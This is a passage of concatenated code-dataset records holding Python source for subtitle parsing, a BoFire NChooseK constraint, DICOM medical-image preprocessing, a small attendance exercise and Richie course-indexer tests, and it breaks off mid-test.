getFilenames(r'D:\\Data\\Subs\\24')\n\"\"\"\n#----------------------------------------\n\n\ndef dirParse(rootDir, word_lines=False, times=False, tokens=False, tokens2=False, flat=False):\n file_list = getFilenames(rootDir)\n \"\"\"\n Passes a directory to individual calls of srtParse()\n \n args: a directory\n \n kwargs: 0 or 1 of must be set\n if 0 kwargs set:\n returns a list of all the lines from the file, including timestamps\n \n word_lines = True # parses a list of lines of dialogue for each file\n times = True # parses a list of timestamps in the format HH:MM:SS for each \n # file\n tokens = True # extracts the dialogue as tokens using nltk.word_tokenizer\n # for each file\n # this splits 'can't' to 'can', \"'\", 't'\n tokens2 = True # extracts the dialogue as tokens after removing all\n punctuation for each file\n # this turns 'can't' to 'cant' and 'ended.' to 'ended'\n \n flat = True # flattens the resulting list of lists e.g. to acquire \n # all dialogue for a series in a single list\n \"\"\" \n \n if flat==True:\n listoflists = [srtParse(i, word_lines=word_lines, times=times, tokens=tokens, tokens2=tokens2) for i in file_list]\n return flatten(listoflists)\n \n else:\n return [srtParse(i, word_lines=word_lines, times=times, tokens=tokens, tokens2=tokens2) for i in file_list]\n \n#-------------------------------\n\"\"\"\nroot = r'D:\\Data\\Subs\\24'\ndirParse(root, tokens2=True)\n\"\"\"\n#-------------------------------\n\n\ndef flatten(listOflists):\n \"\"\"\n Takes a list of lists and flattens.\n Usage: To merge individual extractions from a list of file\n \"\"\"\n \n return [item for sublist in listOflists for item in sublist]\n\n#--------------------------------------------\n\"\"\"\nroot = r'D:\\Data\\Subs\\24'\ndirParse(root, tokens2=True, flat=True)[-10:]\n\"\"\"\n#--------------------------------------------\n\n\n\n#============================================\ndef seriesParse(rootDir, word_lines=False, times=False, tokens=False, tokens2=False, flat=False):\n \"\"\"\n Given a root directory, this function passes each immediate subdirectory\n to the dirParse() function with the specified kwargs\n \n directory structure should be of form\n r'D:\\Data\\Subs\\24\n\n with seasons in sub folders such as\n\n r'D:\\Data\\Subs\\24\\Season 1\n r'D:\\Data\\Subs\\24\\Season 2\n etc\n \n args: a directory\n \n kwargs: 0 or 1 of must be set\n if 0 kwargs set:\n returns a list of all the lines from the file, including timestamps\n \n word_lines = True # parses a list of lines of dialogue for each file\n times = True # parses a list of timestamps in the format HH:MM:SS for each \n # file\n tokens = True # extracts the dialogue as tokens using nltk.word_tokenizer\n # for each file\n # this splits 'can't' to 'can', \"'\", 't'\n tokens2 = True # extracts the dialogue as tokens after removing all\n punctuation for each file\n # this turns 'can't' to 'cant' and 'ended.' to 'ended'\n \n flat = True # flattens the resulting list of lists e.g. to acquire \n # all dialogue for a series in a single list\n \"\"\" \n \n import os\n dirs = [x[0] for x in os.walk(rootDir)]\n season_dirs = [dirs[i] for i in range(1, len(dirs))]\n season_names = [os.path.split(path)[1] for path in season_dirs]\n print('-'*30)\n print(\"This may take some time\")\n print('-'*30)\n series_parse = []\n for path in season_dirs:\n index = season_dirs.index(path)\n print('-'*30)\n print('Parsing %s...' % season_names[index])\n series_parse.append(dirParse(path, word_lines=word_lines, times=times, tokens=tokens, tokens2=tokens2, flat=flat))\n print('-'*30)\n print('Parsing complete!')\n print('-'*30)\n return series_parse\n \n\n \n\n\n#===========================================\n\n## Tools to extract data based on the timestamps\n## in the files\n\n#============================================\n \ndef filmLength(srtFile):\n \"\"\"\n Extracts a timestamp for the last line of dialogue in an srtFile\n \"\"\"\n times = srtParse(srtFile, times=True)\n length_of_prog = times[-1][-12:-4]\n\n return length_of_prog\n \n\n#============================================\n\"\"\"\n\nf = r'D:\\Data\\Subs\\24\\24.1x02.1am-2am.DVDRip.XViD-FoV.EN.srt'\nfilmLength(f)\n#----------------------------------------------\nroot = r'D:\\Data\\Subs\\24'\nfullpaths = getFilenames(root)\n\nlengths = [filmLength(i) for i in fullpaths]\nlengths\n#-----------------------------------------------\n\"\"\"\n\n\n#============================================\n\ndef timeAverages(srtFile):\n \"\"\"\n input: an .srt file\n returns a list [filename, Words spoken per minute, Unique words spoken per minute]\n \n \n \"\"\"\n length_of_prog = filmLength(srtFile)\n hours = int(length_of_prog[0:2])\n minutes = int(length_of_prog[3:5])\n seconds = int(length_of_prog[6:8])\n \n \n len_minute = hours*60 + minutes + seconds/60\n \n \n words = srtParse(srtFile, tokens=True)\n num_of_words = len(words)\n \n print(\"\"\"\n For the srt file with filename:\n %s\"\"\" % srtFile)\n # words per minute\n\n wpm = num_of_words/len_minute\n print('Words spoken per minute: %.2f' % wpm)\n #unique words per minute\n \n unique_words = len(set(words))\n uwpm = unique_words / len_minute\n print('Unique words spoken per minute: %.2f' % uwpm)\n aves = [srtFile, wpm, uwpm]\n return aves\n\n#=============================================\n\n\"\"\"\ntimeAverages(f)\n\n['D:\\\\Data\\\\Subs\\\\24\\\\24.1x02.1am-2am.DVDRip.XViD-FoV.EN.srt',\n 101.22042341220424,\n 20.523038605230386]\n\"\"\"\n#-----------------------------------------------\n\"\"\"\nroot = r'D:\\Data\\Subs\\24'\nfullpaths = getFilenames(root)\n\n[timeAverages(i) for i in fullpaths]\n#------------------------------------------------\n\"\"\"\n\n\n\n\n","repo_name":"SteveJSmith1/morsiPy","sub_path":"srtTools.py","file_name":"srtTools.py","file_ext":"py","file_size_in_byte":10438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18193888612","text":"from typing import List, Literal\n\nimport numpy as np\nimport pandas as pd\nfrom pydantic import root_validator, validator\n\nfrom bofire.data_models.constraints.constraint import Constraint, FeatureKeys\n\n\ndef narrow_gaussian(x, ell=1e-3):\n return np.exp(-0.5 * (x / ell) ** 2)\n\n\nclass NChooseKConstraint(Constraint):\n \"\"\"NChooseK constraint that defines how many ingredients are allowed in a formulation.\n\n Attributes:\n features (List[str]): List of feature keys to which the constraint applies.\n min_count (int): Minimal number of non-zero/active feature values.\n max_count (int): Maximum number of non-zero/active feature values.\n none_also_valid (bool): In case that min_count > 0,\n this flag decides if zero active features are also allowed.\n \"\"\"\n\n type: Literal[\"NChooseKConstraint\"] = \"NChooseKConstraint\"\n features: FeatureKeys\n min_count: int\n max_count: int\n none_also_valid: bool\n\n @validator(\"features\")\n def validate_features_unique(cls, features: List[str]):\n \"\"\"Validates that provided feature keys are unique.\"\"\"\n if len(features) != len(set(features)):\n raise ValueError(\"features must be unique\")\n return features\n\n @root_validator(pre=False, skip_on_failure=True)\n def validate_counts(cls, values):\n \"\"\"Validates if the minimum and maximum of allowed features are smaller than the overall number of features.\"\"\"\n features = values[\"features\"]\n min_count = values[\"min_count\"]\n max_count = values[\"max_count\"]\n\n if min_count > len(features):\n raise ValueError(\"min_count must be <= # of features\")\n if max_count > len(features):\n raise ValueError(\"max_count must be <= # of features\")\n if min_count > max_count:\n raise ValueError(\"min_values must be <= max_values\")\n\n return values\n\n def __call__(self, experiments: pd.DataFrame) -> pd.Series:\n \"\"\"Smooth relaxation of NChooseK constraint by countig the number of zeros in a candidate by a sum of\n narrow gaussians centered at zero.\n\n Args:\n experiments (pd.DataFrame): Data to evaluate the constraint on.\n\n Returns:\n pd.Series containing the constraint violation for each experiment (row in experiments argument).\n \"\"\"\n\n def relu(x):\n return np.maximum(0, x)\n\n indices = np.array(\n [i for i, name in enumerate(experiments.columns) if name in self.features],\n dtype=np.int64,\n )\n experiments_tensor = np.array(experiments.to_numpy())\n\n max_count_violation = np.zeros(experiments_tensor.shape[0])\n min_count_violation = np.zeros(experiments_tensor.shape[0])\n\n if self.max_count != len(self.features):\n max_count_violation = relu(-1 * narrow_gaussian(x=experiments_tensor[..., indices]).sum(axis=-1) + (len(self.features) - self.max_count)) # type: ignore\n\n if self.min_count > 0:\n min_count_violation = relu(narrow_gaussian(x=experiments_tensor[..., indices]).sum(axis=-1) - (len(self.features) - self.min_count)) # type: ignore\n\n return pd.Series(max_count_violation + min_count_violation)\n\n def is_fulfilled(self, experiments: pd.DataFrame, tol: float = 1e-6) -> pd.Series:\n \"\"\"Check if the concurrency constraint is fulfilled for all the rows of the provided dataframe.\n\n Args:\n experiments (pd.DataFrame): Dataframe to evaluate constraint on.\n tol (float,optional): tolerance parameter. A constraint is considered as not fulfilled\n if the violation is larger than tol. Defaults to 1e-6.\n\n Returns:\n bool: True if fulfilled else False.\n \"\"\"\n\n cols = self.features\n sums = (np.abs(experiments[cols]) > tol).sum(axis=1)\n\n lower = sums >= self.min_count\n upper = sums <= self.max_count\n\n if not self.none_also_valid:\n # return lower.all() and upper.all()\n return pd.Series(np.logical_and(lower, upper), index=experiments.index)\n else:\n none = sums == 0\n return pd.Series(\n np.logical_or(none, np.logical_and(lower, upper)),\n index=experiments.index,\n )\n\n def __str__(self):\n \"\"\"Generate string representation of the constraint.\n\n Returns:\n str: string representation of the constraint.\n \"\"\"\n res = (\n \"of the features \"\n + \", \".join(self.features)\n + f\" between {self.min_count} and {self.max_count} must be used\"\n )\n if self.none_also_valid:\n res += \" (none is also ok)\"\n return res\n\n def jacobian(self, experiments: pd.DataFrame) -> pd.DataFrame:\n raise NotImplementedError(\"Jacobian not implemented for NChooseK constraints.\")\n","repo_name":"experimental-design/bofire","sub_path":"bofire/data_models/constraints/nchoosek.py","file_name":"nchoosek.py","file_ext":"py","file_size_in_byte":4894,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"37"} +{"seq_id":"71000196906","text":"import cv2\r\nimport matplotlib.pyplot as plt\r\nimport pydicom\r\nimport numpy as np\r\nimport os \r\nimport glob\r\n\r\nclass ImagePreprocessing:\r\n def __init__(self, image_path):\r\n self.image = cv2.imread(image_path, 0)\r\n\r\n def Dicom_to_Jpeg(Path):\r\n try:\r\n dicom_image = pydicom.read_file(Path)\r\n row = dicom_image.get(0x00280010).value \r\n column = dicom_image.get(0x00280011).value \r\n orn_number = int(dicom_image.get(0x00200013).value) \r\n pnc_mrkz = int(dicom_image.get(0x00281050).value) \r\n pnc_genıs = int(dicom_image.get(0x00281051).value) \r\n pnc_max = int(pnc_mrkz + pnc_genıs / 2)\r\n pnc_min = int(pnc_mrkz - pnc_genıs / 2)\r\n if (dicom_image.get(0x00281052) is None):\r\n olck_snr = 0\r\n else:\r\n olck_snr = int(dicom_image.get(0x00281052).value)\r\n\r\n if (dicom_image.get(0x00281053) is None):\r\n olck_egm = 1\r\n else:\r\n olck_egm = int(dicom_image.get(0x00281053).value)\r\n\r\n yenı_image = np.zeros((row, column), np.uint8)\r\n pixels = dicom_image.pixel_array\r\n\r\n for i in range(0, row):\r\n for j in range(0, column):\r\n orj_pix = pixels[i][j]\r\n new_orj_pix = orj_pix * olck_egm + olck_snr\r\n\r\n if (new_orj_pix > pnc_max): \r\n yenı_image[i][j] = 255\r\n elif (new_orj_pix < pnc_min): \r\n yenı_image[i][j] = 0\r\n else:\r\n yenı_image[i][j] = int(((new_orj_pix - pnc_min) / (pnc_max - pnc_min)) * 255) \r\n\r\n return yenı_image, 0\r\n except:\r\n return 0, 1\r\n\r\n names = os.listdir(\"path/to/image/dicom/\")[:1000]\r\n\r\n if len(glob.glob(\"İmage_JPEG\")) == 0:\r\n os.mkdir(\"İmage_JPEG\")\r\n\r\n for name in names:\r\n if len(glob.glob(f\"İmage_JPEG/{name}\")) == 0:\r\n os.mkdir(f\"İmage_JPEG/{name}\")\r\n c = 1\r\n for path in glob.glob(f\"path/to/image/dicom/{name}/**.dcm\"):\r\n if len(glob.glob(f\"İmage_JPEG/{name}/**.jpg\")) >= c:\r\n c += 1\r\n continue\r\n c += 1\r\n id = path.split(\"/\")[-1].split(\".\")[0]\r\n img = Dicom_to_Jpeg(path)\r\n img = cv2.resize(img[0],(512,512))\r\n cv2.imwrite(\"İmage_JPEG/\"+str(name)+\"/\"+ f\"{id}\"+ '.jpg', img)\r\n\r\n\r\n def dicom_to_npy(input_dir, output_file):\r\n img_list = []\r\n for root, dirs, files in os.walk(input_dir):\r\n for file in files:\r\n if file.endswith(\".dcm\"):\r\n dcm_path = os.path.join(root, file)\r\n ds = pydicom.dcmread(dcm_path)\r\n img = ds.pixel_array\r\n img_list.append(img)\r\n\r\n if len(img_list) == 0:\r\n print(f\"Dicom Dosyası Bulunamadı!: {input_dir}\")\r\n return 1\r\n\r\n img_array = np.array(img_list)\r\n np.save(output_file, img_array)\r\n return 0\r\n\r\n\r\n\r\n def clahe(self):\r\n ımg = self.image\r\n ımgs = list(cv2.split(ımg))\r\n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\r\n ımgs[0] = clahe.apply(ımgs[0])\r\n ımg= cv2.merge(ımgs)\r\n plt.imshow(ımg, cmap=\"gray\")\r\n plt.show()\r\n return ımg\r\n\r\n def negative(self):\r\n image = self.image\r\n L = np.max(image)\r\n negatif_foto = L - image\r\n plt.imshow(image, cmap=\"gray\")\r\n plt.show()\r\n return negatif_foto\r\n\r\n def unsharp_mask(self):\r\n image = self.image\r\n gassıan = cv2.GaussianBlur(image, (5, 5), 0)\r\n keskın = cv2.addWeighted(image, 1.5, gassıan, -0.5, 0)\r\n plt.imshow(keskın, cmap=\"gray\")\r\n plt.show()\r\n return image\r\n\r\n def equalizeHist(self): # Matematiksel Histogram Eşitleme\r\n image = self.image\r\n hist, bins = np.histogram(image.flatten(), 256, [0, 256])\r\n kumulatıf = hist.cumsum()\r\n kumulatıf_norm = kumulatıf * float(hist.max()) / kumulatıf.max()\r\n new_image = np.interp(image.flatten(), bins[:-1], kumulatıf_norm)\r\n equalized = new_image.reshape(image.shape).astype(np.uint8)\r\n plt.imshow(equalized, cmap=\"gray\")\r\n plt.show()\r\n return equalized\r\n \r\n def histogram_equalization(self): # Hazır Hisrogram Eşitleme\r\n img = cv2.imread(self.image, 0)\r\n equalized = cv2.equalizeHist(img)\r\n plt.imshow(equalized, cmap=\"gray\")\r\n plt.show()\r\n return equalized\r\n\r\n def read_dicom(self, dicom_path):\r\n ds = pydicom.dcmread(dicom_path)\r\n image = ds.pixel_array\r\n plt.imshow(image, cmap=\"gray\")\r\n plt.show()\r\n return image\r\n\r\n def save_dicom(self, image, dicom_path):\r\n ds = pydicom.dcmread(dicom_path)\r\n ds.PixelData = image.tobytes()\r\n ds.save_as(dicom_path)\r\n print(\"DICOM dosyası kayıt edildi!\")\r\n\r\n def read_jpeg(self, jpeg_path):\r\n image = cv2.imread(jpeg_path, 0)\r\n plt.imshow(image, cmap=\"gray\")\r\n plt.show()\r\n return image\r\n\r\n def save_jpeg(self, image, jpeg_path):\r\n cv2.imwrite(jpeg_path, image)\r\n print(\"JPEG dosyası kayıt edildi!\")\r\n\r\n\r\n\r\n\r\n \r\n","repo_name":"yusufbaykal/Medical-Image-Preprocessing","sub_path":"ımage_preprocessing_algorithms.py","file_name":"ımage_preprocessing_algorithms.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3510303030","text":"T = int(input())\nsaida = []\nfor n in range(T):\n qtd_estudantes = int(input())\n _nome = str(input()) # lista com os nomes dos alunos\n _freq = str(input()) # lista com a frequencia do respectivo aluno i\n nome = _nome.split(\" \")\n freq = _freq.split(\" \")\n aprovados = []\n for i in range(qtd_estudantes):\n total = len(freq[i])\n A = freq[i].count(\"A\") # Ausente\n P = freq[i].count(\"P\") # Presente\n M = freq[i].count(\"M\") # Atestado\n total = total - M\n if (P/total < 0.75):\n aprovados.append(nome[i])\n if len(aprovados) == 0:\n saida.append(\" \")\n else:\n saida.append(aprovados)\n# se a lista de aprovados for vazia, coloca um valor vazio\n# se a lista aprovados tiver negoço, dá um append\nfor i in range(len(saida)):\n for j in range(len(saida[i])):\n if len(saida[i])>1:\n print(saida[i][j], end=\" \")\n else:\n print(saida[i][j])\n\n","repo_name":"abnermuxah/maratona-programacao-desafios-2020","sub_path":"Entrada e Saída e Cadeia de Caracteres/1277-pouca-frequencia.py","file_name":"1277-pouca-frequencia.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39443244923","text":"\"\"\"\nTests for the course indexer\n\"\"\"\nfrom datetime import datetime\nfrom unittest import mock\n\nfrom django.test import TestCase\n\nimport pytz\nfrom cms.api import add_plugin, create_page\n\nfrom richie.apps.core.helpers import create_i18n_page\nfrom richie.apps.courses.cms_plugins import CategoryPlugin\nfrom richie.apps.courses.defaults import HOUR, MINUTE, WEEK\nfrom richie.apps.courses.factories import (\n CategoryFactory,\n CourseFactory,\n CourseRunFactory,\n LicenceFactory,\n OrganizationFactory,\n PersonFactory,\n)\nfrom richie.apps.courses.models import CourseState\nfrom richie.apps.courses.models.course import CourseRunCatalogVisibility\nfrom richie.apps.search.indexers.categories import CategoriesIndexer\nfrom richie.apps.search.indexers.courses import CoursesIndexer\nfrom richie.apps.search.indexers.organizations import OrganizationsIndexer\nfrom richie.plugins.simple_picture.cms_plugins import SimplePicturePlugin\n\n# pylint: disable=too-many-public-methods\n# pylint: disable=too-many-lines\n\n\nclass CoursesIndexersTestCase(TestCase):\n \"\"\"\n Test the get_es_documents() function on the course indexer, as well as our mapping,\n and especially dynamic mapping shape in ES\n \"\"\"\n\n def test_indexers_courses_related_objects_consistency(self):\n \"\"\"\n The organization and category ids in the Elasticsearch course document should be\n the same as the ids with which the corresponding organization and category objects\n are indexed.\n \"\"\"\n # Create a course with a page in both english and french\n organization = OrganizationFactory(should_publish=True)\n category = CategoryFactory(should_publish=True)\n course = CourseFactory(\n fill_organizations=[organization], fill_categories=[category]\n )\n CourseRunFactory(direct_course=course)\n course.extended_object.publish(\"en\")\n\n course_document = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )[0]\n self.assertEqual(\n course_document[\"organizations\"],\n [\n next(\n OrganizationsIndexer.get_es_documents(\n index=\"some_index\", action=\"some_action\"\n )\n )[\"_id\"]\n ],\n )\n self.assertEqual(\n course_document[\"categories\"],\n [\n next(\n CategoriesIndexer.get_es_documents(\n index=\"some_index\", action=\"some_action\"\n )\n )[\"_id\"]\n ],\n )\n\n # get_es_document_for_course\n\n def test_indexers_courses_get_es_documents_no_course_run(self):\n \"\"\"\n A course with no course run should still be indexed.\n \"\"\"\n CourseFactory(should_publish=True)\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"], [])\n\n def test_indexers_courses_get_es_documents_unpublished_course(self):\n \"\"\"Unpublished courses should not be indexed\"\"\"\n CourseFactory()\n\n self.assertEqual(\n list(\n CoursesIndexer.get_es_documents(\n index=\"some_index\", action=\"some_action\"\n )\n ),\n [],\n )\n\n def test_indexers_courses_get_es_documents_unpublished_category(self):\n \"\"\"\n Unpublished categories and children of unpublished categories should not be indexed\n \"\"\"\n # Create a child category\n meta = CategoryFactory(\n page_parent=create_i18n_page(\"Categories\", published=True),\n page_reverse_id=\"subjects\",\n page_title=\"Subjects\",\n should_publish=True,\n )\n parent = CategoryFactory(page_parent=meta.extended_object, should_publish=True)\n category = CategoryFactory(\n page_parent=parent.extended_object,\n page_title=\"my second subject\",\n should_publish=True,\n )\n\n CourseFactory(fill_categories=[category], should_publish=True)\n\n # Unpublish the parent category\n self.assertTrue(parent.extended_object.unpublish(\"en\"))\n\n course_document = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )[0]\n\n # Neither the category not its parent should be linked to the course\n self.assertEqual(course_document[\"categories\"], [])\n self.assertEqual(course_document[\"categories_names\"], {})\n\n def test_indexers_courses_get_es_documents_unpublished_organization(self):\n \"\"\"Unpublished organizations should not be indexed.\"\"\"\n organization = OrganizationFactory(should_publish=True)\n CourseFactory(fill_organizations=[organization], should_publish=True)\n\n # Unpublish the organization\n self.assertTrue(organization.extended_object.unpublish(\"en\"))\n\n course_document = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )[0]\n\n # The unpublished organization should not be linked to the course\n self.assertEqual(course_document[\"organizations\"], [])\n self.assertEqual(course_document[\"organizations_names\"], {})\n\n def test_indexers_courses_get_es_documents_unpublished_person(self):\n \"\"\"Unpublished persons should not be indexed.\"\"\"\n person = PersonFactory(should_publish=True)\n CourseFactory(fill_team=[person], should_publish=True)\n\n # Unpublish the person\n self.assertTrue(person.extended_object.unpublish(\"en\"))\n\n course_document = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )[0]\n\n # The unpublished person should not be linked to the course\n self.assertEqual(course_document[\"persons\"], [])\n self.assertEqual(course_document[\"persons_names\"], {})\n\n def test_indexers_courses_get_es_documents_snapshots(self):\n \"\"\"\n Course snapshots should not get indexed.\n \"\"\"\n course = CourseFactory(should_publish=True)\n CourseFactory(page_parent=course.extended_object, should_publish=True)\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0][\"_id\"], course.get_es_id())\n\n @mock.patch(\n \"richie.apps.search.indexers.courses.get_picture_info\",\n return_value={\"info\": \"picture info\"},\n )\n # pylint: disable=too-many-locals\n def test_indexers_courses_get_es_documents_from_models(self, _mock_picture):\n \"\"\"\n Happy path: the data is retrieved from the models properly formatted\n \"\"\"\n # Create a course with a page in both english and french\n published_categories = [\n CategoryFactory(\n fill_icon=True,\n page_title={\"en\": \"Title cat 1\", \"fr\": \"Titre cat 1\"},\n should_publish=True,\n ),\n CategoryFactory(\n fill_icon=True,\n page_title={\"en\": \"Title cat 2\", \"fr\": \"Titre cat 2\"},\n should_publish=True,\n ),\n ]\n draft_category = CategoryFactory(fill_icon=True)\n\n main_organization = OrganizationFactory(\n page_title={\n \"en\": \"english main organization title\",\n \"fr\": \"titre organisation principale français\",\n },\n should_publish=True,\n )\n other_draft_organization = OrganizationFactory(\n page_title={\n \"en\": \"english other organization title\",\n \"fr\": \"titre autre organisation français\",\n }\n )\n other_published_organization = OrganizationFactory(\n page_title={\n \"en\": \"english other organization title\",\n \"fr\": \"titre autre organisation français\",\n },\n should_publish=True,\n )\n\n person1 = PersonFactory(\n page_title={\"en\": \"Eugène Delacroix\", \"fr\": \"Eugène Delacroix\"},\n should_publish=True,\n )\n person2 = PersonFactory(\n page_title={\"en\": \"Comte de Saint-Germain\", \"fr\": \"Earl of Saint-Germain\"},\n should_publish=True,\n )\n person_draft = PersonFactory(\n page_title={\"en\": \"Jules de Polignac\", \"fr\": \"Jules de Polignac\"}\n )\n\n licence1, licence2, licence3, _licence4 = LicenceFactory.create_batch(4)\n # Keep a licence unused to check that it is not returned. Link also licences to the\n # \"student content licence\" placeholder to check they are ignored\n licences_by_placeholders = [\n (\"course_license_content\", licence1),\n (\"course_license_content\", licence2),\n (\"course_license_participation\", licence2),\n (\"course_license_participation\", licence3),\n ]\n\n course = CourseFactory(\n duration=[3, WEEK],\n effort=[2, HOUR],\n fill_categories=published_categories + [draft_category],\n fill_cover=True,\n fill_icons=published_categories + [draft_category],\n fill_licences=licences_by_placeholders,\n fill_organizations=[\n main_organization,\n other_draft_organization,\n other_published_organization,\n ],\n fill_team=[person1, person_draft, person2],\n page_title={\n \"en\": \"an english course title\",\n \"fr\": \"un titre cours français\",\n },\n )\n CourseRunFactory.create_batch(2, direct_course=course)\n course.extended_object.publish(\"en\")\n course.extended_object.publish(\"fr\")\n course.refresh_from_db()\n\n # Add a description in several languages\n placeholder = course.public_extension.extended_object.placeholders.get(\n slot=\"course_description\"\n )\n plugin_params = {\"placeholder\": placeholder, \"plugin_type\": \"CKEditorPlugin\"}\n add_plugin(body=\"english description line 1.\", language=\"en\", **plugin_params)\n add_plugin(body=\"english description line 2.\", language=\"en\", **plugin_params)\n add_plugin(body=\"a propos français ligne 1.\", language=\"fr\", **plugin_params)\n add_plugin(body=\"a propos français ligne 2.\", language=\"fr\", **plugin_params)\n\n # Add an introduction in several languages\n placeholder = course.public_extension.extended_object.placeholders.get(\n slot=\"course_introduction\"\n )\n plugin_params = {\"placeholder\": placeholder, \"plugin_type\": \"PlainTextPlugin\"}\n add_plugin(body=\"english introduction.\", language=\"en\", **plugin_params)\n add_plugin(body=\"introduction française.\", language=\"fr\", **plugin_params)\n\n # The results were properly formatted and passed to the consumer\n expected_course = {\n \"_id\": course.get_es_id(),\n \"_index\": \"some_index\",\n \"_op_type\": \"some_action\",\n \"absolute_url\": {\n \"en\": \"/en/an-english-course-title/\",\n \"fr\": \"/fr/un-titre-cours-francais/\",\n },\n \"categories\": [\n published_categories[0].get_es_id(),\n published_categories[1].get_es_id(),\n ],\n \"categories_names\": {\n \"en\": [\"Title cat 1\", \"Title cat 2\"],\n \"fr\": [\"Titre cat 1\", \"Titre cat 2\"],\n },\n \"code\": course.code,\n \"complete\": {\n \"en\": [\n \"an english course title\",\n \"english course title\",\n \"course title\",\n \"title\",\n ],\n \"fr\": [\n \"un titre cours français\",\n \"titre cours français\",\n \"cours français\",\n \"français\",\n ],\n },\n \"course_runs\": [\n {\n \"start\": course_run.public_course_run.start,\n \"end\": course_run.public_course_run.end,\n \"enrollment_start\": course_run.public_course_run.enrollment_start,\n \"enrollment_end\": course_run.public_course_run.enrollment_end,\n \"languages\": course_run.public_course_run.languages,\n }\n for course_run in course.course_runs.order_by(\"-end\")\n ],\n \"cover_image\": {\n \"en\": {\"info\": \"picture info\"},\n \"fr\": {\"info\": \"picture info\"},\n },\n \"description\": {\n \"en\": \"english description line 1. english description line 2.\",\n \"fr\": \"a propos français ligne 1. a propos français ligne 2.\",\n },\n \"duration\": {\"en\": \"3 weeks\", \"fr\": \"3 semaines\"},\n \"effort\": {\"en\": \"2 hours\", \"fr\": \"2 heures\"},\n \"icon\": {\n \"en\": {\n \"color\": published_categories[0].color,\n \"info\": \"picture info\",\n \"title\": \"Title cat 1\",\n },\n \"fr\": {\n \"color\": published_categories[0].color,\n \"info\": \"picture info\",\n \"title\": \"Titre cat 1\",\n },\n },\n \"introduction\": {\n \"en\": \"english introduction.\",\n \"fr\": \"introduction française.\",\n },\n \"is_new\": False,\n \"is_listed\": True,\n \"licences\": [licence1.id, licence2.id],\n \"organization_highlighted\": {\n \"en\": \"english main organization title\",\n \"fr\": \"titre organisation principale français\",\n },\n \"organization_highlighted_cover_image\": {},\n \"organizations\": [\n main_organization.get_es_id(),\n other_published_organization.get_es_id(),\n ],\n \"organizations_names\": {\n \"en\": [\n \"english main organization title\",\n \"english other organization title\",\n ],\n \"fr\": [\n \"titre organisation principale français\",\n \"titre autre organisation français\",\n ],\n },\n \"persons\": [\n person1.get_es_id(),\n person2.get_es_id(),\n ],\n \"persons_names\": {\n \"en\": [\"Eugène Delacroix\", \"Comte de Saint-Germain\"],\n \"fr\": [\"Eugène Delacroix\", \"Earl of Saint-Germain\"],\n },\n \"pace\": 40,\n \"title\": {\"fr\": \"un titre cours français\", \"en\": \"an english course title\"},\n }\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0], expected_course)\n\n def test_indexers_courses_get_es_document_no_organization(self):\n \"\"\"\n Courses with no linked organizations should get indexed without raising exceptions.\n \"\"\"\n course = CourseFactory(\n duration=[12, WEEK],\n effort=[36, MINUTE],\n page_title=\"Enhanced incremental circuit\",\n should_publish=True,\n )\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(\n indexed_courses,\n [\n {\n \"_id\": str(course.extended_object.publisher_public_id),\n \"_index\": \"some_index\",\n \"_op_type\": \"some_action\",\n \"absolute_url\": {\n \"en\": \"/en/enhanced-incremental-circuit/\",\n \"fr\": \"/fr/enhanced-incremental-circuit/\",\n },\n \"categories\": [],\n \"categories_names\": {},\n \"code\": course.code,\n \"complete\": {\n \"en\": [\n \"Enhanced incremental circuit\",\n \"incremental circuit\",\n \"circuit\",\n ]\n },\n \"course_runs\": [],\n \"cover_image\": {},\n \"description\": {},\n \"duration\": {\"en\": \"12 weeks\", \"fr\": \"12 semaines\"},\n \"effort\": {\"en\": \"36 minutes\", \"fr\": \"36 minutes\"},\n \"icon\": {},\n \"introduction\": {},\n \"is_new\": False,\n \"is_listed\": True,\n \"licences\": [],\n \"organization_highlighted\": None,\n \"organization_highlighted_cover_image\": {},\n \"organizations\": [],\n \"organizations_names\": {},\n \"persons\": [],\n \"persons_names\": {},\n \"pace\": 3,\n \"title\": {\"en\": \"Enhanced incremental circuit\"},\n }\n ],\n )\n\n def test_indexers_courses_get_es_documents_is_listed(self):\n \"\"\"\n Courses that are flagged to be hidden from the search page should be marked as such.\n \"\"\"\n CourseFactory(should_publish=True, is_listed=False)\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertFalse(indexed_courses[0][\"is_listed\"])\n self.assertIsNone(indexed_courses[0][\"complete\"], None)\n\n def test_indexers_courses_get_es_documents_no_start(self):\n \"\"\"\n Course runs with no start date should not get indexed.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(direct_course=course, start=None)\n course.extended_object.publish(\"en\")\n\n indexed_courses = list(\n CoursesIndexer.get_es_documents(index=\"some_index\", action=\"some_action\")\n )\n self.assertEqual(len(indexed_courses), 1)\n self.assertEqual(indexed_courses[0][\"course_runs\"], [])\n\n def test_indexers_courses_get_es_documents_no_enrollment_start(self):\n \"\"\"\n Course runs with no start of enrollment date should not get indexed.\n \"\"\"\n course = CourseFactory()\n CourseRunFactory(direct_course=course, enrollment_start=None)\n course.extended_object.publish(\"en\")\n\n indexed_courses = list(\n 